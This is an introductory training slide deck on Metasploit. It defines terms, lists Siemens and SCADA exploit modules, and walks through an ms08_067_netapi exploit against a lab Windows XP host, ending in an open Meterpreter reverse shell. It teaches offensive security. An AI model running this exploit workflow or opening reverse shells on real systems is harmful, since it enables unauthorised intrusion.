



Metasploit Basics



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Objectives

- ▶ Explain Metasploit's Purpose.
- ▶ Define Metasploit Terminology.
- ▶ Discuss Basic Metasploit Usage.
- ▶ Demonstrate Basic Metasploit Usage.

Metasploit Overview

- ▶ Metasploit is a Ruby based, open-source framework designed to provide a consistent and easily expandable way to use security tools and exploits
 - ▶ Used by black and white hat security professionals
 - ▶ This tool should NOT be used in a production environment!



```
msf6 > https://metasploit.com
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Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search

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msf6 >
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Metasploit Terminology

- ▶ Vulnerability - A security flaw in software or hardware that may be susceptible to exploitation.
- ▶ Exploit - The act of taking advantage of a vulnerability.
- ▶ Payload - The module that will execute when the exploit is successful.



Basic Metasploit Process

- ▶ Find Vulnerability
- ▶ Load Module
- ▶ Set Options
- ▶ Select Payload
- ▶ Set Options
- ▶ Exploit

Find Vulnerability

- ▶ Metasploit is primarily designed to exploit, not find, vulnerabilities
- ▶ Metasploit contains tools that can be used to discover systems and vulnerabilities
 - ▶ db_nmap
 - ▶ Version of nmap that saves results to a database
 - ▶ Connect
 - ▶ Built in ncat program
- ▶ Metasploit is designed to interface with a database to allow you to save your work
- ▶ Metasploit passes any commands it doesn't recognize to the local operating system

Load Module

- ▶ Modules are Ruby scripts that plug into then extend Metasploit's functionality
- ▶ Exploits are modules that use payloads
- ▶ Search is a useful command used to locate available modules

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msf6 > search siemens

Matching Modules
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#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/scada/siemens_siprotec4		normal	No	Siemens SIPROTEC 4 and SIPROTEC Co
1	auxiliary/gather/ipcamera_password_disclosure	2016-08-16	normal	No	JVC/Siemens/Vanderbilt IP-Camera R
2	auxiliary/scanner/scada/profinet_siemens		normal	No	Siemens Profinet Scanner
3	exploit/windows/browser/sapgui_saveviewtosessionfile	2009-03-31	normal	No	SAP AG SAPgui EAI WebViewer3D Buff
4	exploit/windows/browser/siemens_solid_edge_selistctrlx	2013-05-26	normal	No	Siemens Solid Edge ST4 SEListCtrlX
5	exploit/windows/scada/factorylink_csservice	2011-03-25	normal	No	Siemens FactoryLink 8 CSService Lo
6	exploit/windows/scada/factorylink_vrn_09	2011-03-21	average	No	Siemens FactoryLink vrn.exe Opcode
7	exploit/windows/smtp/njstar_smtp_bof	2011-10-31	normal	Yes	NJStar Communicator 3.00 MiniSMTP

Exploit Options

- ▶ Options control what and how Metasploit module's function
- ▶ Common module options:
 - ▶ RHOSTS - Remote host (the host being targeted)
 - ▶ RPORT - Remote port (the port being targeted)

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
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Module options (exploit/windows/smb/ms08_067_netapi):
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Name	Current Setting	Required	Description
RHOSTS	10.0.255.101	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload Type

- ▶ There are many types of payloads
 - ▶ bind - Establish a connection from the local system to the remote system
 - ▶ reverse_bind - Establish a connection from the remote system to the local system
 - ▶ Normally used when a firewall prevents direct access to the remote system
 - ▶ meterpreter - Fileless shell replacement software for Windows (uses dll injection)

```
meterpreter > help
Core Commands

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Command	Description
?	Help menu
background	Backgrounds the current session
bg	Alias for background
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Open an interactive Ruby shell on the current session
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session

Payload Options

- ▶ Options control what and how Metasploit payload's function
- ▶ Common module options:
 - ▶ LHOST - Local host (the host performing the attack)
 - ▶ LPORT - Local port (the port on the local system that will accept the connection from the target)

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Payload options (windows/meterpreter/reverse_tcp):
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Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.255.108	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
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0	Automatic Targeting

Exploit the Target

- Once the module is loaded, the payload selected, and the options set type **exploit** or **run** to activate the module

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msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.0.255.108:4444
[*] 10.0.255.101:445 - Automatically detecting the target...
[*] 10.0.255.101:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 10.0.255.101:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 10.0.255.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.0.255.101
[*] Meterpreter session 3 opened (10.0.255.108:4444 → 10.0.255.101:1079) at 2022-07-13 10:36:23 -0400

meterpreter > █
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For More Information

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